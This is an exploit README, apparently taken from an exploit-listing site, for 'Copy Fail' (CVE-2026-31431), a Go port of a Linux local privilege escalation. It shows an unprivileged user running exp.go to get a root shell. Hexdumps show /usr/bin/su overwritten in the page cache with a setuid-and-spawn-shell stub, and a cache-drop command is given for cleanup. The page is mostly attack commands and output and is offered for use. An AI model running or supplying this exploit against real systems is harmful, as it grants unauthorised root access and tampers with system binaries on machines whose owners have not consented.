Share
## https://sploitus.com/exploit?id=0E2757F6-6916-50CB-84DD-71005B045960
# Copy Fail - CVE-2026-31431 - golang version

> **โš ๏ธ WARNING: This program is highly dangerous and experimental. Manual cleanup is required to clear the exploit. Use at your own risk!**

[Technical Writeup](https://xint.io/blog/copy-fail-linux-distributions)

[original repo](https://github.com/theori-io/copy-fail-CVE-2026-31431)


## run

### check `/usr/bin/su` before run:
```
user@pc:~$ hexdump -n 300 -x /usr/bin/su
0000000    457f    464c    0102    0001    0000    0000    0000    0000
0000010    0003    003e    0001    0000    44d0    0000    0000    0000
0000020    0040    0000    0000    0000    d1c0    0000    0000    0000
0000030    0000    0000    0040    0038    000d    0040    001f    001e
0000040    0006    0000    0004    0000    0040    0000    0000    0000
0000050    0040    0000    0000    0000    0040    0000    0000    0000
0000060    02d8    0000    0000    0000    02d8    0000    0000    0000
0000070    0008    0000    0000    0000    0003    0000    0004    0000
0000080    0318    0000    0000    0000    0318    0000    0000    0000
0000090    0318    0000    0000    0000    001c    0000    0000    0000
00000a0    001c    0000    0000    0000    0001    0000    0000    0000
00000b0    0001    0000    0004    0000    0000    0000    0000    0000
00000c0    0000    0000    0000    0000    0000    0000    0000    0000
00000d0    2608    0000    0000    0000    2608    0000    0000    0000
00000e0    1000    0000    0000    0000    0001    0000    0005    0000
00000f0    3000    0000    0000    0000    3000    0000    0000    0000
0000100    3000    0000    0000    0000    6eb1    0000    0000    0000
0000110    6eb1    0000    0000    0000    1000    0000    0000    0000
0000120    0001    0000    0004    0000    a000    0000                
000012c
```

### run exp.go:
```
user@pc:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),135(docker)
user@pc:~$ go run exp.go
# id
uid=0(root) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),135(docker)
# 
```

### check `/usr/bin/su` after run:
```
user@pc:~$ hexdump -n 300 -x /usr/bin/su
0000000    457f    464c    0102    0001    0000    0000    0000    0000
0000010    0002    003e    0001    0000    0078    0040    0000    0000
0000020    0040    0000    0000    0000    0000    0000    0000    0000
0000030    0000    0000    0040    0038    0001    0000    0000    0000
0000040    0001    0000    0005    0000    0000    0000    0000    0000
0000050    0000    0040    0000    0000    0000    0040    0000    0000
0000060    009e    0000    0000    0000    009e    0000    0000    0000
0000070    1000    0000    0000    0000    c031    ff31    69b0    050f
0000080    8d48    0f3d    0000    3100    6af6    583b    0f99    3105
0000090    6aff    583c    050f    622f    6e69    732f    0068    0000
00000a0    001c    0000    0000    0000    0001    0000    0000    0000
00000b0    0001    0000    0004    0000    0000    0000    0000    0000
00000c0    0000    0000    0000    0000    0000    0000    0000    0000
00000d0    2608    0000    0000    0000    2608    0000    0000    0000
00000e0    1000    0000    0000    0000    0001    0000    0005    0000
00000f0    3000    0000    0000    0000    3000    0000    0000    0000
0000100    3000    0000    0000    0000    6eb1    0000    0000    0000
0000110    6eb1    0000    0000    0000    1000    0000    0000    0000
0000120    0001    0000    0004    0000    a000    0000                
000012c

```

### restore

need root permission, or reboot

```
root@pc:~# echo 3 > /proc/sys/vm/drop_caches
```